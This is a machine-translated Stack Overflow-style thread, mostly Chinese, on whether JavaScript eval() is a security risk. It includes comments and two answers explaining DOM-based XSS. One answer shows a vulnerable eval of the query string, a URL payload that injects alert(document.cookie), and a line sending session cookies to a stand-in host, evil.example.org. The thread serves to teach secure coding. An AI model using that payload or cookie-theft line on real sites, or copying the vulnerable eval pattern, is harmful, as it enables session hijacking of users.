javascript eval()和安全性

javascript eval() and security

developer.mozilla.org说:

Don't use eval needlessly! eval() is a dangerous function, which
executes the code it's passed with the privileges of the caller.

https://developer.mozilla.org/en-us/docs/web/javascript/reference/global_objects/eval

例如,任何恶意用户都可以打开chrome调试器,并修改正在执行的javascript代码。所以他可以把自己的职能付诸实施等等。

一般来说,是否有"安全的javascript代码"之类的东西?

  • 不。所有东西都和其他东西一样安全,基本上所有调试工具都不安全。就我个人而言(我可能会因为这样说而被踢到牙齿上,但是…)我并不害怕逃避(或者功能)。
  • 任何恶意用户都可以打开控制台并修改自己的代码版本,从而不影响任何其他人。如果你鲁莽地使用eval,那么恶意代码就可以在任何用户的计算机上运行。
  • 对我来说,这是一个工具。不要把用户给你的任何东西作为纯文本,你可以使用eval。但不管用什么语言,这都适用。用户可以在表单中放置奇怪的东西并提交它们。任何来自用户的东西在用于XSS攻击之前必须经过消毒或捆绑。
  • 它可以生成未经优化的代码,但如果您不需要对其进行优化,这并不重要。
  • @维德:对。所以你要消毒。服务器端也是如此,因为这基本上只是首先生成HTML/JS代码。它和其他技术有同样的问题,也有同样的优点。就像你写的任何公共代码一样,明智地使用它。
  • 用户可以更改浏览器中运行的javascript并不是真正的安全问题,因为它只影响该用户。用户可以从输入等中提取任何内容,这是相同的,它会影响该用户,并不是真正的问题。如果你做了像eval('')</script>这样的事情,并且有人能够向你的数据库中注入一些东西,那么你就有问题了。这实际上只是安全使用eval()的问题,但真正的答案是你不需要eval,它没有任何用处,没有它你可以做很多事情。
  • @谁知道我说"鲁莽地使用eval"。当然,你可以使用它,让它工作得很好。另一方面,我还没有找到一种情况,我要么需要使用eval,要么它是一个有价值的选择。
  • @维德:啊,够公平的。
  • 我用它做了一些有用的事情,尽管可以肯定是所有服务器端的,私人娱乐项目。但是像解析和重写函数这样的事情可以让你做一些很棒的事情。
  • 别忘了评估的高性能成本。在代码中使用eval可以防止浏览器引擎对代码进行任何优化,从而影响整个页面的速度。
  • @艾哈迈达迈耶:是的。不适合游戏循环。P
  • @你是想把我的回答取消标记为接受吗?
  • @银光狐狸不,对不起。那是不小心


Any malicious user can turn on chrome debugger for example, and modify
javascript code that is being executed. So he can put his own
functions to be executed etc.

是的,用户可以使用开发人员工具使用JavaScript"攻击"自己的客户端会话。

然而,eval和开发人员工具之间的区别在于eval可以在可共享链接中执行操作。攻击者可以向受害者发送一个链接,利用代码评估功能。

采用此代码:

1
eval('alert("Your query string was ' + unescape(document.location.search) + '");');

现在,如果查询字符串是?foo,您只需得到一个警告对话框,其中说明以下内容:Your query string was ?foo

现在假设查克给鲍勃发了一封邮件,主题是"看看这个伟大的链接!".

连接结构如下:

http://www.example.com/page.htm?hello%22);alert(document.cookie+%22,其中www.example.com是您的网站。

这会将eval()执行的代码修改为

1
2
alert("Your query string was hello");
alert(document.cookie+"");

(为了清晰起见,我添加了新行)。这将显示一个警报框,显示所有非httponly cookie。

进入下一阶段,攻击者可以构建一个图像链接,将会话cookie发送给自己。

1
new Image().src="https://evil.example.org/?cookie=" + escape(document.cookie)

这被称为跨站点脚本(XSS)攻击。实际上,类型是基于DOM的XSS,具体来说。

Is there such thing as"secure javascript code" in general?

是的,对XSS安全的代码可以被认为是"安全的javascript代码"——它可以保护当前用户免受跨域攻击。但是,服务器端代码"信任"当前的最终用户不会使用开发人员工具修改javascript代码或变量以达到自己的优势,但这并不安全。

因此,安全的javascript代码就是这样的代码,它只保护当前用户。


是的,当然有安全的javascript。您总是可以在浏览器中修改javascript,就像修改机器上运行的python程序一样。

能够在您自己的机器上改变代码的工作方式是很琐碎的,并不是一个立即的安全问题。

eval()经常被认为是有问题的,因为它往往是用用户生成的输入来执行的(我认为真正的不正确的用例很少)。@silverlightfox在他出色的回答中解释了为什么这可能是一个问题。归根结底,Eval()可能被用来在别人的机器上运行代码,这是一个安全问题。

请注意,这并不是单独针对javascript的,大多数语言都有类似的命名函数。这些功能附带类似的警告。